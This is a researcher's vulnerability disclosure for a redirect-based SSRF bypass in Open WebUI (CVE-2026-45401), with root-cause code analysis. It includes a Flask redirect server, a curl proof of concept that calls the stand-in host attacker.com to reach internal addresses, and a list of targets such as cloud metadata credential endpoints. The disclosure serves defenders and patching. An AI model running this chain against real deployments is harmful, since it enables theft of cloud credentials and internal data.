Open WebUI SSRF - Redirect-Based Validation Bypass (CVE-2026-45401)

SSRF in Open WebUI's web fetch: validate_url checks the original hostname but the loader follows redirects, letting any authenticated user reach internal hosts (IMDS, localhost, VPC).

#SSRF#Open WebUI#Redirect Bypass#CWE-918#Cloud Metadata#Python
Open WebUI SSRF - Redirect-Based Validation Bypass (CVE-2026-45401)

Summary

During my latest penetration test for a client, I discovered that Open WebUI’s validate_url() resolves the hostname of a submitted URL at validation time (via resolve_hostname()socket.getaddrinfo()) and rejects any URL that resolves to a non-global IP address. However, neither the probe request nor the loader that subsequently fetches the content is configured with allow_redirects=False.

An attacker who controls a public server that returns an HTTP 301/302 redirect to any internal address (169.254.169.254, 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) bypasses the check: validation passes because the original hostname resolves to a legitimate public IP, but the actual HTTP request follows the redirect and hits the internal target. The full response body is returned to the attacker.

The source-code comment at web/utils.py:91 explicitly acknowledges DNS rebinding but not the redirection vector — which is simpler to exploit, simpler to mitigate, and requires no TTL manipulation (DNS rebinding is often unstable or fails outright).

Unfortunately, this was another duplicate for me — someone had submitted it before I did. Per the Open WebUI team’s response:

OpenWebUI Team Response

Vulnerability Info

Severity High
CVSSv3.1 8.5 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
CVE CVE-2026-45401
Credit Hesham Mahmoud Aka 0xRyuzak1 (Unfortunately Duplicated)
Component validate_url, get_content_from_url, get_web_loader
Affected Version <= 0.9.4
Auth Required Yes — any authenticated user (role user or admin)
Class CWE-918: Server-Side Request Forgery

Root Cause

Validation — validate_url (web/utils.py:67-100)

def validate_url(url: Union[str, Sequence[str]]):
    if isinstance(url, str):
        if isinstance(validators.url(url), validators.ValidationError):
            raise ValueError(ERROR_MESSAGES.INVALID_URL)

        parsed_url = urllib.parse.urlparse(url)

        # Protocol validation - only allow http/https
        if parsed_url.scheme not in ['http', 'https']:
            log.warning(f'Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}')
            raise ValueError(ERROR_MESSAGES.INVALID_URL)

        # Blocklist check using unified filtering logic
        if WEB_FETCH_FILTER_LIST:
            if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):
                log.warning(f'URL blocked by filter list: {url}')
                raise ValueError(ERROR_MESSAGES.INVALID_URL)

        if not ENABLE_RAG_LOCAL_WEB_FETCH:
            # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses
            parsed_url = urllib.parse.urlparse(url)
            # Get IPv4 and IPv6 addresses
            ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)
            # Check if any of the resolved addresses are private
            # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader
            for ip in ipv4_addresses + ipv6_addresses:
                addr = ipaddress.ip_address(ip)
                if not addr.is_global:                # <--- Check for the Global/Public IP here
                    raise ValueError(ERROR_MESSAGES.INVALID_URL)
        return True
    elif isinstance(url, Sequence):
        return all(validate_url(u) for u in url)
    else:
        return False

The IP check is performed once against the original URL hostname. Redirects are never validated.

Probe Request (retrieval/utils.py:184)

response = requests.get(url, stream=True, timeout=30)

requests follows redirects by default (allow_redirects=True). The probe reads Content-Type from the final redirect destination, which may be an internal host.

Loader Request (web/utils.py:502-506)

SafeWebBaseLoader defines _fetch() with allow_redirects=False:

async with session.get(
    url,
    **(self.requests_kwargs | kwargs),
    allow_redirects=False,     # ← loader does NOT follow redirects
) as response:

However, loader.load() in retrieval/utils.py calls lazy_load()_scrape(), not _fetch():

# Text / HTML / unknown — use the configured web loader
if response is None or _is_text_content_type(content_type):
    if response is not None:
        response.close()
    loader = get_loader(request, url)
    docs = loader.load()
    content = ' '.join([doc.page_content for doc in docs])
    return content, docs
# langchain WebBaseLoader._scrape() — the actual code path used
def _scrape(self, url, ...):
    html_doc = self.session.get(url, **self.requests_kwargs)  # ← requests.Session, follows redirects
    return BeautifulSoup(html_doc.text, parser)

self.session is a requests.Session with no redirect restriction. The _fetch() override with allow_redirects=False is dead code for the sync load() path — it is only reachable via async methods that are never invoked in this flow.

Full Picture Flow

validate_url("http://attacker.com/redirect")   → PASS (public IP)
         ↓
requests.get(probe) → 301 → internal host      → reads Content-Type
         ↓
if text/html/json:
    loader.load()
      → lazy_load()
        → _scrape()
          → requests.Session.get("http://attacker.com/redirect")
            → follows 301 → internal host      → reads full body
              → BeautifulSoup parses text
                → returned to attacker          ← ALL CONTENT TYPES EXFILTRATED

if binary:
    response.content                            → full body from probe connection
      → temp file → document extractor
        → returned to attacker                  ← ALL CONTENT TYPES EXFILTRATED

Affected Endpoints

All endpoints that call get_content_from_url, get_web_loader, and validate_url are affected:

Endpoint Method Auth Content Returned to Attacker
/api/v1/retrieval/process/web POST User Full response body (text) in JSON response
/api/v1/retrieval/process/youtube POST User Full response body (text) in JSON response
/api/chat/completions (files:[{type:"url"}]) POST User Response injected into LLM context, model replies with content
/api/v1/chat/completions POST User Response injected into LLM context, model replies with content
Builtin fetch_url tool (chat) chat User Returned as tool result in chat reply

Exploit Scenario

Setup — attacker-controlled redirect server on a public IP

from flask import Flask, make_response, request

app = Flask(__name__)

@app.route('/home')
def home():
    location = request.args.get('location', '')  # e.g. /home?location=http://google.com

    body = f"Redirecting you to: {location}"
    response = make_response(body, 302)
    response.headers['Location'] = location

    return response

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=True)

PoC — process/web endpoint

curl -s -X POST https://TARGET/api/v1/retrieval/process/web \
  -H "Authorization: Bearer USER_JWT" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "http://attacker.com/redirect?location=http://127.0.0.1:8080/api/version"
  }'

The full text response from the internal host is returned inside file.data.content.

SSRF To Internal Version Endpoint

Internal Potential Targets

Target Protocol
AWS IMDSv1 169.254.169.254/latest/meta-data/ HTTP
AWS IMDSv1 IAM credentials HTTP
Kubernetes API 10.96.0.1:443 HTTPS
Ollama localhost:11434/api/tags HTTP
Qdrant localhost:6333/collections HTTP
Internal microservices on VPC subnet HTTP
GCP IMDS metadata.google.internal HTTP
Azure IMDS HTTP

Impact

  • Full content exfiltration for all content types — both text (HTML, JSON, plain) and binary responses from internal hosts are returned to the attacker.
  • May lead to RCE in some cases — e.g. when the SSRF reaches an exploitable internal HTTP service (unauthenticated admin APIs, misconfigured management endpoints). Note the redirect Location is still constrained to http/https by validate_url, so classic gopher:// protocol smuggling does not apply here.
  • Cloud environment compromise — IMDSv1 IAM credentials (AccessKeyId, SecretAccessKey, Token) readable without any header.
  • Internal service enumeration and data theft — any internal HTTP service is reachable and its response body returned.
  • Open WebUI internal API access — attacker can read internal endpoints including user data, configuration, and session information.
  • Lateral movement — Ollama, Qdrant, etcd, and other co-located services are fully readable.
  • Container escape surface — Docker host IP (172.17.0.1) internal services reachable.
  • DoS — internal requests can be abused to DoS Open WebUI itself or other systems.

Mitigation

Upgrade Open WebUI to version 0.9.5 or above.